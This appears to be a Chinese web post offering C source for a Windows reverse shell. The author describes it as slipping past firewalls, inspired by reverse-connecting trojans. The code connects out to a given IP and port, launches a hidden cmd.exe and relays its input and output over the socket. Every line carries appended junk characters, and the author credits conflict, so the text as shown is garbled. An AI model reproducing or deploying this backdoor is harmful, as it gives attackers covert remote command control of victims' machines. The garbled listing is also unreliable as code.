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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )TLDNpH?J  
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/* ============================== v K$W)(Z  
Rebound port in Windows NT dCinbAQ  
By wind,2006/7  d00r&Mc  
===============================*/ $HaM, Oh;i  
#include  z\ \MLyS  
#include b_B4  
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#pragma comment(lib,"wsock32.lib") v>,XJ7P  
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void OutputShell(); -v]7}[ .[  
SOCKET sClient; Q>|<R[.7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V Bg\)r[  
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void main(int argc,char **argv) Ft07>E$/Q^  
{ 0g1uM:;  
WSADATA stWsaData; C 9DRVkjj  
int nRet; CkOd>Kn  
SOCKADDR_IN stSaiClient,stSaiServer; |{$Vk%cUE  
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if(argc != 3) #e=[W))  
{ p}h)WjC  
printf("Useage:\n\rRebound DestIP DestPort\n"); :/u EPki  
return; 7,:QFV  
} a^,Xm(Wb}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); $:>K-4X\}  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x]F:~(P  
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stSaiClient.sin_family = AF_INET; wE'~Qj  
stSaiClient.sin_port = htons(0); V ] Z{0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gI[x OK#  
.(! $j-B  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ygg+*z  
{ ?8`b  
printf("Bind Socket Failed!\n"); d5h:py5  
return; >1W)J3  
} ,}J(&  
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stSaiServer.sin_family = AF_INET; y3d`$'7H>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t1D6#JP(a  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @xmL?wz  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L9@nx7D  
{ B lD  
printf("Connect Error!"); Wq]^1g_  
return; M4`qi3I  
} -_B*~M/vV`  
OutputShell(); ,XR1N$LN8_  
} 3~Ah8,  
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void OutputShell() K1jE_]@Z  
{ iOw'NxmY  
char szBuff[1024]; GP1b/n3F1  
SECURITY_ATTRIBUTES stSecurityAttributes; @2V#bK  
OSVERSIONINFO stOsversionInfo; L_Z>*s&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?8pRRzV$  
STARTUPINFO stStartupInfo; c1c8):o+V  
char *szShell; )A,M T i  
PROCESS_INFORMATION stProcessInformation; :GK]"sNC  
unsigned long lBytesRead; G{)2f &<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  2>p>AvcK  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); SIVzc Hm  
stSecurityAttributes.lpSecurityDescriptor = 0; b0t/~]9G  
stSecurityAttributes.bInheritHandle = TRUE; CnN PziB  
~8Z)e7 j  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !2=< MO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n' &:c}zKO  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YB*I'm3q  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ibha`  
stStartupInfo.wShowWindow = SW_HIDE; O,u$L  
stStartupInfo.hStdInput = hReadPipe; l%L..WCT]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cJ=0zEv  
(} ?")$.  
GetVersionEx(&stOsversionInfo); @!`x^Tzz  
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switch(stOsversionInfo.dwPlatformId) N 8 n`f  
{ ^O}`i  
case 1: o-c.D=~  
szShell = "command.com"; "=@X>jUc  
break; f<?v.5($  
default: MDAJ p>o  
szShell = "cmd.exe"; ;Lr]w8d  
break; B^nE^"b  
} m5`<XwD9  
v;1<K@UT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5Sl vCL  
WS6'R    
send(sClient,szMsg,77,0); V^apDV\AV  
while(1) Mh3Tfp  
{ sN"<baZ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l$ ^LY)i  
if(lBytesRead) hT go  
{ 3RJsH :u8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vq/3a  
send(sClient,szBuff,lBytesRead,0); 0o7*5| T4  
} /fv;`?~d*  
else 7Ji|x{``  
{ \SKobO?qI  
lBytesRead=recv(sClient,szBuff,1024,0); 8#L V oR  
if(lBytesRead<=0) break; vY)5<z&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *3 8 u ~n  
} n<3qr}ZG^  
} RzhAX I=  
#g=7fu{n:  
return; wwaw|$  
}
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